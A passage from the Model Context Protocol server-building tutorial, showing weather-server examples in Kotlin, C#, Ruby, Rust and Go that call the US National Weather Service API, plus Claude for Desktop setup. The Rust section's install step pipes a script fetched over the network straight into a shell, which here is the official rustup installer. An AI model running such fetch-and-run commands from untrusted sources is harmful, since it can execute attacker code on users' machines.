List { val points = this.get("/points/$latitude,$longitude").body() val forecastUrl = points.properties.forecast ?: error("No forecast URL available") val forecast = this.get(forecastUrl).body() return forecast.properties.periods.map { period -> """ ${period.name}: Temperature: ${period.temperature}°${period.temperatureUnit} Wind: ${period.windSpeed} ${period.windDirection} ${period.shortForecast} """.trimIndent() } } @Serializable data class PointsResponse(val properties: PointsProperties) @Serializable data class PointsProperties(val forecast: String? = null) @Serializable data class ForecastResponse(val properties: ForecastProperties) @Serializable data class ForecastProperties(val periods: List = emptyList()) @Serializable data class ForecastPeriod( val name: String? = null, val temperature: Int? = null, val temperatureUnit: String? = null, val windSpeed: String? = null, val windDirection: String? = null, val shortForecast: String? = null, ) @Serializable data class AlertsResponse(val features: List = emptyList()) @Serializable data class AlertFeature(val properties: AlertProperties) @Serializable data class AlertProperties( val event: String? = null, val areaDesc: String? = null, val severity: String? = null, val status: String? = null, val headline: String? = null, ) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#implementing-tool-execution-3) Implementing tool execution The tool execution handler is responsible for actually executing the logic of each tool. Let’s add it: // Register weather tools server.addTool( name = "get_alerts", description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)", inputSchema = ToolSchema( properties = buildJsonObject { putJsonObject("state") { put("type", "string") put("description", "Two-letter US state code (e.g. CA, NY)") } }, required = listOf("state"), ), ) { request -> val state = request.arguments?.get("state")?.jsonPrimitive?.content ?: return@addTool CallToolResult( content = listOf(TextContent("The 'state' parameter is required.")), ) val alerts = httpClient.getAlerts(state) CallToolResult(content = alerts.map { TextContent(it) }) } server.addTool( name = "get_forecast", description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.", inputSchema = ToolSchema( properties = buildJsonObject { putJsonObject("latitude") { put("type", "number") put("description", "Latitude of the location") } putJsonObject("longitude") { put("type", "number") put("description", "Longitude of the location") } }, required = listOf("latitude", "longitude"), ), ) { request -> val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull if (latitude == null || longitude == null) { return@addTool CallToolResult( content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")), ) } val forecast = httpClient.getForecast(latitude, longitude) CallToolResult(content = forecast.map { TextContent(it) }) } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server-4) Running the server Finally, implement the main function to run the server: fun main() = runMcpServer() You can run the server directly during development: ./gradlew run For production use, build the shadow JAR: ./gradlew build java -jar build/libs/weather-0.1.0-all.jar Let’s now test your server from an existing MCP host, Claude for Desktop. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop-4) Testing your server with Claude for Desktop ----------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](https://modelcontextprotocol.io/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.**We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist.For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "weather": { "command": "java", "args": [\ "-jar",\ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"\ ] } } } This tells Claude for Desktop: 1. There’s an MCP server named “weather” 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar` Save the file, and restart **Claude for Desktop**. Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#prerequisite-knowledge-4) Prerequisite knowledge This quickstart assumes you have familiarity with: * C# * LLMs like Claude * .NET 8 or higher ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers-5) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices-5) Best Practices * Use a logging library that writes to stderr or files. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements-5) System requirements * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment-5) Set up your environment First, let’s install `dotnet` if you haven’t already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/) . Verify your `dotnet` installation: dotnet --version Now, let’s create and set up your project: macOS/Linux Windows # Create a new directory for our project mkdir weather cd weather # Initialize a new C# project dotnet new console After running `dotnet new console`, you will be presented with a new C# project. You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/) . Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022) . After creating the project, add NuGet package for the Model Context Protocol SDK and hosting: # Add the Model Context Protocol SDK NuGet package dotnet add package ModelContextProtocol --prerelease # Add the .NET Hosting NuGet package dotnet add package Microsoft.Extensions.Hosting Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server-5) Building your server ------------------------------------------------------------------------------------------------------------- Open the `Program.cs` file in your project and replace its contents with the following code: using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; using ModelContextProtocol; using System.Net.Http.Headers; var builder = Host.CreateEmptyApplicationBuilder(settings: null); builder.Services.AddMcpServer() .WithStdioServerTransport() .WithToolsFromAssembly(); builder.Services.AddSingleton(_ => { var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") }; client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0")); return client; }); var app = builder.Build(); await app.RunAsync(); When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport. This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#weather-api-helper-functions-2) Weather API helper functions Create an extension class for `HttpClient` which helps simplify JSON request handling: using System.Text.Json; internal static class HttpClientExt { public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri) { using var response = await client.GetAsync(requestUri); response.EnsureSuccessStatusCode(); return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync()); } } Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API: using ModelContextProtocol.Server; using System.ComponentModel; using System.Globalization; using System.Text.Json; namespace QuickstartWeatherServer.Tools; [McpServerToolType] public static class WeatherTools { [McpServerTool, Description("Get weather alerts for a US state code.")] public static async Task GetAlerts( HttpClient client, [Description("The US state code to get alerts for.")] string state) { using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}"); var jsonElement = jsonDocument.RootElement; var alerts = jsonElement.GetProperty("features").EnumerateArray(); if (!alerts.Any()) { return "No active alerts for this state."; } return string.Join("\n--\n", alerts.Select(alert => { JsonElement properties = alert.GetProperty("properties"); return $""" Event: {properties.GetProperty("event").GetString()} Area: {properties.GetProperty("areaDesc").GetString()} Severity: {properties.GetProperty("severity").GetString()} Description: {properties.GetProperty("description").GetString()} Instruction: {properties.GetProperty("instruction").GetString()} """; })); } [McpServerTool, Description("Get weather forecast for a location.")] public static async Task GetForecast( HttpClient client, [Description("Latitude of the location.")] double latitude, [Description("Longitude of the location.")] double longitude) { var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}"); using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl); var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString() ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}"); using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl); var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray(); return string.Join("\n---\n", periods.Select(period => $""" {period.GetProperty("name").GetString()} Temperature: {period.GetProperty("temperature").GetInt32()}°F Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()} Forecast: {period.GetProperty("detailedForecast").GetString()} """)); } } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server-5) Running the server Finally, run the server using the following command: dotnet run This will start the server and listen for incoming requests on standard input/output. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop-5) Testing your server with Claude for Desktop ----------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](https://modelcontextprotocol.io/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.** We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist. For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "weather": { "command": "dotnet", "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"] } } } This tells Claude for Desktop: 1. There’s an MCP server named “weather” 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT` Save the file, and restart **Claude for Desktop**. Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#prerequisite-knowledge-5) Prerequisite knowledge This quickstart assumes you have familiarity with: * Ruby * LLMs like Claude ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers-6) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices-6) Best Practices * Use a logging library that writes to stderr or files. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#quick-examples-3) Quick Examples # ❌ Bad (STDIO) puts "Processing request" # ✅ Good (STDIO) require "logger" logger = Logger.new($stderr) logger.info("Processing request") ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements-6) System requirements * Ruby 2.7 or higher installed. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment-6) Set up your environment First, let’s make sure you have Ruby installed. You can check by running: ruby --version Now, let’s create and set up our project: macOS/Linux Windows # Create a new directory for our project mkdir weather cd weather # Create a Gemfile bundle init # Add the MCP SDK dependency bundle add mcp # Create our server file touch weather.rb Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server-6) Building your server ------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#importing-packages-and-setting-up-constants) Importing packages and setting up constants Open `weather.rb` and add these requires and constants at the top: require "json" require "mcp" require "net/http" require "uri" NWS_API_BASE = "https://api.weather.gov" USER_AGENT = "weather-app/1.0" The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#helper-methods) Helper methods Next, let’s add helper methods for querying and formatting data from the National Weather Service API: module HelperMethods def make_nws_request(url) uri = URI(url) request = Net::HTTP::Get.new(uri) request["User-Agent"] = USER_AGENT request["Accept"] = "application/geo+json" response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http| http.request(request) end raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess) JSON.parse(response.body) end def format_alert(feature) properties = feature["properties"] <<~ALERT Event: #{properties["event"] || "Unknown"} Area: #{properties["areaDesc"] || "Unknown"} Severity: #{properties["severity"] || "Unknown"} Description: #{properties["description"] || "No description available"} Instructions: #{properties["instruction"] || "No specific instructions provided"} ALERT end end ### [​](https://modelcontextprotocol.io/docs/develop/build-server#implementing-tool-execution-4) Implementing tool execution Now let’s define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic: class GetAlerts < MCP::Tool extend HelperMethods tool_name "get_alerts" description "Get weather alerts for a US state" input_schema( properties: { state: { type: "string", description: "Two-letter US state code (e.g. CA, NY)" } }, required: ["state"] ) def self.call(state:) url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}" data = make_nws_request(url) if data["features"].empty? return MCP::Tool::Response.new([{\ type: "text",\ text: "No active alerts for this state."\ }]) end alerts = data["features"].map { |feature| format_alert(feature) } MCP::Tool::Response.new([{\ type: "text",\ text: alerts.join("\n---\n")\ }]) end end class GetForecast < MCP::Tool extend HelperMethods tool_name "get_forecast" description "Get weather forecast for a location" input_schema( properties: { latitude: { type: "number", description: "Latitude of the location" }, longitude: { type: "number", description: "Longitude of the location" } }, required: ["latitude", "longitude"] ) def self.call(latitude:, longitude:) # First get the forecast grid endpoint. points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}" points_data = make_nws_request(points_url) # Get the forecast URL from the points response. forecast_url = points_data["properties"]["forecast"] forecast_data = make_nws_request(forecast_url) # Format the periods into a readable forecast. periods = forecast_data["properties"]["periods"] forecasts = periods.first(5).map do |period| <<~FORECAST #{period["name"]}: Temperature: #{period["temperature"]}°#{period["temperatureUnit"]} Wind: #{period["windSpeed"]} #{period["windDirection"]} Forecast: #{period["detailedForecast"]} FORECAST end MCP::Tool::Response.new([{\ type: "text",\ text: forecasts.join("\n---\n")\ }]) end end ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server-6) Running the server Finally, initialize and run the server: server = MCP::Server.new( name: "weather", version: "1.0.0", tools: [GetAlerts, GetForecast] ) transport = MCP::Server::Transports::StdioTransport.new(server) transport.open Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.Let’s now test your server from an existing MCP host, Claude for Desktop. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop-6) Testing your server with Claude for Desktop ----------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](https://modelcontextprotocol.io/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.**We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist.For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "weather": { "command": "bundle", "args": ["exec", "ruby", "weather.rb"], "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather" } } } Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path. This tells Claude for Desktop: 1. There’s an MCP server named “weather” 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory Save the file, and restart **Claude for Desktop**. Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#prerequisite-knowledge-6) Prerequisite knowledge This quickstart assumes you have familiarity with: * Rust programming language * Async/await in Rust * LLMs like Claude ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers-7) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices-7) Best Practices * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust. * Configure your logging framework to avoid stdout output. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#quick-examples-4) Quick Examples // ❌ Bad (STDIO) println!("Processing request"); // ✅ Good (STDIO) eprintln!("Processing request"); // writes to stderr ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements-7) System requirements * Rust 1.70 or higher installed. * Cargo (comes with Rust installation). ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment-7) Set up your environment First, let’s install Rust if you haven’t already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install) : macOS/Linux Windows curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh Verify your Rust installation: rustc --version cargo --version Now, let’s create and set up our project: macOS/Linux Windows # Create a new Rust project cargo new weather cd weather Update your `Cargo.toml` to add the required dependencies: Cargo.toml [package] name = "weather" version = "0.1.0" edition = "2024" [dependencies] rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] } tokio = { version = "1.46", features = ["full"] } reqwest = { version = "0.12", features = ["json"] } serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" anyhow = "1.0" tracing = "0.1" tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] } Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server-7) Building your server ------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#importing-packages-and-constants) Importing packages and constants Open `src/main.rs` and add these imports and constants at the top: use anyhow::Result; use rmcp::{ ServerHandler, ServiceExt, handler::server::{router::tool::ToolRouter, tool::Parameters}, model::*, schemars, tool, tool_handler, tool_router, }; use serde::Deserialize; use serde::de::DeserializeOwned; const NWS_API_BASE: &str = "https://api.weather.gov"; const USER_AGENT: &str = "weather-app/1.0"; The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#data-structures) Data structures Next, let’s define the data structures for deserializing responses from the National Weather Service API: #[derive(Debug, Deserialize)] struct AlertsResponse { features: Vec, } #[derive(Debug, Deserialize)] struct AlertFeature { properties: AlertProperties, } #[derive(Debug, Deserialize)] struct AlertProperties { event: Option, #[serde(rename = "areaDesc")] area_desc: Option, severity: Option, description: Option, instruction: Option, } #[derive(Debug, Deserialize)] struct PointsResponse { properties: PointsProperties, } #[derive(Debug, Deserialize)] struct PointsProperties { forecast: String, } #[derive(Debug, Deserialize)] struct ForecastResponse { properties: ForecastProperties, } #[derive(Debug, Deserialize)] struct ForecastProperties { periods: Vec, } #[derive(Debug, Deserialize)] struct ForecastPeriod { name: String, temperature: i32, #[serde(rename = "temperatureUnit")] temperature_unit: String, #[serde(rename = "windSpeed")] wind_speed: String, #[serde(rename = "windDirection")] wind_direction: String, #[serde(rename = "detailedForecast")] detailed_forecast: String, } Now define the request types that MCP clients will send: #[derive(serde::Deserialize, schemars::JsonSchema)] pub struct MCPForecastRequest { latitude: f32, longitude: f32, } #[derive(serde::Deserialize, schemars::JsonSchema)] pub struct MCPAlertRequest { state: String, } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#helper-functions-3) Helper functions Add helper functions for making API requests and formatting responses: async fn make_nws_request(url: &str) -> Result { let client = reqwest::Client::new(); let rsp = client .get(url) .header(reqwest::header::USER_AGENT, USER_AGENT) .header(reqwest::header::ACCEPT, "application/geo+json") .send() .await? .error_for_status()?; Ok(rsp.json::().await?) } fn format_alert(feature: &AlertFeature) -> String { let props = &feature.properties; format!( "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}", props.event.as_deref().unwrap_or("Unknown"), props.area_desc.as_deref().unwrap_or("Unknown"), props.severity.as_deref().unwrap_or("Unknown"), props .description .as_deref() .unwrap_or("No description available"), props .instruction .as_deref() .unwrap_or("No specific instructions provided") ) } fn format_period(period: &ForecastPeriod) -> String { format!( "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}", period.name, period.temperature, period.temperature_unit, period.wind_speed, period.wind_direction, period.detailed_forecast ) } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#implementing-the-weather-server-and-tools) Implementing the Weather server and tools Now let’s implement the main Weather server struct with the tool handlers: pub struct Weather { tool_router: ToolRouter, } #[tool_router] impl Weather { fn new() -> Self { Self { tool_router: Self::tool_router(), } } #[tool(description = "Get weather alerts for a US state.")] async fn get_alerts( &self, Parameters(MCPAlertRequest { state }): Parameters, ) -> String { let url = format!( "{}/alerts/active/area/{}", NWS_API_BASE, state.to_uppercase() ); match make_nws_request::(&url).await { Ok(data) => { if data.features.is_empty() { "No active alerts for this state.".to_string() } else { data.features .iter() .map(format_alert) .collect::>() .join("\n---\n") } } Err(_) => "Unable to fetch alerts or no alerts found.".to_string(), } } #[tool(description = "Get weather forecast for a location.")] async fn get_forecast( &self, Parameters(MCPForecastRequest { latitude, longitude, }): Parameters, ) -> String { let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}"); let Ok(points_data) = make_nws_request::(&points_url).await else { return "Unable to fetch forecast data for this location.".to_string(); }; let forecast_url = points_data.properties.forecast; let Ok(forecast_data) = make_nws_request::(&forecast_url).await else { return "Unable to fetch forecast data for this location.".to_string(); }; let periods = &forecast_data.properties.periods; let forecast_summary: String = periods .iter() .take(5) // Next 5 periods only .map(format_period) .collect::>() .join("\n---\n"); forecast_summary } } The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#implementing-the-serverhandler) Implementing the ServerHandler Implement the `ServerHandler` trait to define server capabilities: #[tool_handler] impl ServerHandler for Weather { fn get_info(&self) -> ServerInfo { ServerInfo { capabilities: ServerCapabilities::builder().enable_tools().build(), ..Default::default() } } } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#running-the-server-7) Running the server Finally, implement the main function to run the server with stdio transport: #[tokio::main] async fn main() -> Result<()> { let transport = (tokio::io::stdin(), tokio::io::stdout()); let service = Weather::new().serve(transport).await?; service.waiting().await?; Ok(()) } Build your server with: cargo build --release The compiled binary will be in `target/release/weather`.Let’s now test your server from an existing MCP host, Claude for Desktop. [​](https://modelcontextprotocol.io/docs/develop/build-server#testing-your-server-with-claude-for-desktop-7) Testing your server with Claude for Desktop ----------------------------------------------------------------------------------------------------------------------------------------------------------- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](https://modelcontextprotocol.io/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it’s updated to the latest version.**We’ll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn’t exist.For example, if you have [VS Code](https://code.visualstudio.com/) installed: macOS/Linux Windows code ~/Library/Application\ Support/Claude/claude_desktop_config.json You’ll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.In this case, we’ll add our single weather server like so: macOS/Linux Windows { "mcpServers": { "weather": { "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather" } } } Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension. This tells Claude for Desktop: 1. There’s an MCP server named “weather” 2. Launch it by running the compiled binary at the specified path Save the file, and restart **Claude for Desktop**. Let’s get started with building our weather server! [You can find the complete code for what we’ll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#prerequisite-knowledge-7) Prerequisite knowledge This quickstart assumes you have familiarity with: * Go * LLMs like Claude ### [​](https://modelcontextprotocol.io/docs/develop/build-server#logging-in-mcp-servers-8) Logging in MCP Servers When implementing MCP servers, be careful about how you handle logging:**For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.**For HTTP-based servers:** Standard output logging is fine since it doesn’t interfere with HTTP responses. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#best-practices-8) Best Practices * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files. * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#quick-examples-5) Quick Examples // ❌ Bad (STDIO) fmt.Println("Processing request") // ✅ Good (STDIO) log.Println("Processing request") // defaults to stderr // ✅ Good (STDIO) fmt.Fprintln(os.Stderr, "Processing request") ### [​](https://modelcontextprotocol.io/docs/develop/build-server#system-requirements-8) System requirements * Go 1.24 or higher installed. ### [​](https://modelcontextprotocol.io/docs/develop/build-server#set-up-your-environment-8) Set up your environment First, let’s install Go if you haven’t already. You can download and install Go from [go.dev](https://go.dev/dl/) .Verify your Go installation: go version Now, let’s create and set up our project: macOS/Linux Windows # Create a new directory for our project mkdir weather cd weather # Initialize Go module go mod init weather # Install dependencies go get github.com/modelcontextprotocol/go-sdk/mcp # Create our server file touch main.go Now let’s dive into building your server. [​](https://modelcontextprotocol.io/docs/develop/build-server#building-your-server-8) Building your server ------------------------------------------------------------------------------------------------------------- ### [​](https://modelcontextprotocol.io/docs/develop/build-server#importing-packages-and-constants-2) Importing packages and constants Add these to the top of your `main.go`: package main import ( "cmp" "context" "encoding/json" "fmt" "io" "log" "net/http" "strings" "github.com/modelcontextprotocol/go-sdk/mcp" ) const ( NWSAPIBase = "https://api.weather.gov" UserAgent = "weather-app/1.0" ) ### [​](https://modelcontextprotocol.io/docs/develop/build-server#data-structures-2) Data structures Next, let’s define the data structures used by our tools: type PointsResponse struct { Properties struct { Forecast string `json:"forecast"` } `json:"properties"` } type ForecastResponse struct { Properties struct { Periods []ForecastPeriod `json:"periods"` } `json:"properties"` } type ForecastPeriod struct { Name string `json:"name"` Temperature int `json:"temperature"` TemperatureUnit string `json:"temperatureUnit"` WindSpeed string `json:"windSpeed"` WindDirection string `json:"windDirection"` DetailedForecast string `json:"detailedForecast"` } type AlertsResponse struct { Features []AlertFeature `json:"features"` } type AlertFeature struct { Properties AlertProperties `json:"properties"` } type AlertProperties struct { Event string `json:"event"` AreaDesc string `json:"areaDesc"` Severity string `json:"severity"` Description string `json:"description"` Instruction string `json:"instruction"` } type ForecastInput struct { Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"` Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"` } type AlertsInput struct { State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"` } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#helper-functions-4) Helper functions Next, let’s add our helper functions for querying and formatting the data from the National Weather Service API: func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) { req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create request: %w", err) } req.Header.Set("User-Agent", UserAgent) req.Header.Set("Accept", "application/geo+json") client := http.DefaultClient resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf("failed to make request to %s: %w", url, err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { body, _ := io.ReadAll(resp.Body) return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body)) } var result T if err := json.NewDecoder(resp.Body).Decode(&result); err != nil { return nil, fmt.Errorf("failed to decode response: %w", err) } return &result, nil } func formatAlert(alert AlertFeature) string { props := alert.Properties event := cmp.Or(props.Event, "Unknown") areaDesc := cmp.Or(props.AreaDesc, "Unknown") severity := cmp.Or(props.Severity, "Unknown") description := cmp.Or(props.Description, "No description available") instruction := cmp.Or(props.Instruction, "No specific instructions provided") return fmt.Sprintf(` Event: %s Area: %s Severity: %s Description: %s Instructions: %s `, event, areaDesc, severity, description, instruction) } func formatPeriod(period ForecastPeriod) string { return fmt.Sprintf(` %s: Temperature: %d°%s Wind: %s %s Forecast: %s `, period.Name, period.Temperature, period.TemperatureUnit, period.WindSpeed, period.WindDirection, period.DetailedForecast) } ### [​](https://modelcontextprotocol.io/docs/develop/build-server#implementing-tool-execution-5) Implementing tool execution The tool execution handler is responsible for actually executing the logic of each tool. Let’s add it: func getForecast(ctx 